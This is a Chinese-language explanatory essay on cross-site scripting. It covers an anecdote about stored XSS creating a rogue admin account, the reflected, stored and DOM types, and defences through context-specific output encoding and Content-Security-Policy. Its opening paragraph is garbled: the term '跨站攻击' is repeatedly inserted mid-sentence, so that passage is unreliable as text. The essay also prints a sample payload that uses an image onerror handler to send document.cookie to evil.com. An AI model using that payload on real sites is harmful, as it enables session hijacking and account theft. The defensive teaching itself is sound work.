去年秋天，跨站攻击一个做电商的跨站攻击朋友半夜给我打电话，说后台突然多了几百条奇怪的跨站攻击订单，收货地址全是跨站攻击一串乱码，备注里塞满了<script>标签。跨站攻击他以为是跨站攻击系统出了bug，重启了三次服务器，跨站攻击结果第二天早上发现，跨站攻击自己的跨站攻击用户数据库里多了一个叫“admin_backup”的账号，密码被改成了别人指定的跨站攻击字符串。他折腾了一整天才搞明白——有人在他网站的跨站攻击商品评论框里，插了一段JavaScript，跨站攻击每次有用户打开那个商品页，跨站攻击脚本就会偷偷用当前登录用户的跨站攻击身份去创建一个新管理员。这就是跨站攻击跨站攻击，准确说，是存储型XSS。

很多人听到“跨站攻击”四个字，脑子里浮现的是黑客坐在暗室里敲代码的画面。其实没那么玄。它的核心逻辑简单得离谱：网站太信任用户输入的内容了。你在评论框里写什么，网站就原样存进数据库，再原样吐到别人的浏览器里执行。浏览器分不清这段代码是网站自己写的，还是你塞进去的。只要它看起来像代码，浏览器就照跑不误。

我见过最离谱的一个案例，是一家小型论坛的搜索功能。用户在搜索框里输入关键词，页面顶部会显示“您搜索的是：XXX”。这个XXX没有做任何转义。有人搜了这样一段内容：<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">。结果就是，每一个点了这个搜索链接的人，浏览器都会悄悄把当前会话的cookie发到攻击者的服务器上。攻击者拿到cookie，直接冒充用户登录，连密码都不用猜。

跨站攻击分好几种。反射型是骗你点一个链接，脚本从URL参数里来，执行完就没了。存储型最阴，脚本被存进数据库，所有访问该页面的用户都会中招。还有DOM型，纯粹在前端JavaScript里发生，服务器根本不知情。三种里，存储型危害最大，因为不需要诱导点击，只要页面被打开，攻击就自动发生。

防御这件事，说穿了就一句话：永远不要相信用户输入。但具体做起来，细节多得让人头疼。输出到HTML里，要对< > & " '做实体编码。输出到JavaScript里，要用JSON.stringify再转义</script>。输出到URL参数里，要用encodeURIComponent。每个上下文规则都不一样，漏掉一个就是漏洞。很多开发者只做了前端过滤，觉得输入框里不让打<script>就安全了。攻击者直接抓包改请求，前端过滤形同虚设。必须服务端做输出编码，这才是最后一道防线。

还有个东西叫CSP，内容安全策略。在HTTP响应头里加一行Content-Security-Policy: script-src 'self'，浏览器就只执行同源的脚本，内联的<script>和onerror这类事件属性统统不跑。这招能挡住大部分XSS，但配置起来容易误伤，很多老网站一加CSP，页面直接白屏，因为到处都在用内联脚本。所以CSP更像是一道保险，不能替代输出编码。

我自己的习惯是，每次写涉及用户输入的页面，先问自己三个问题：这个数据从哪来？它要放到HTML的哪个位置？那个位置需要什么样的转义？想清楚再动手。跨站攻击不是什么高深技术，它利用的是开发者的疏忽和浏览器的信任。你多转义一个字符，攻击者就少一条路。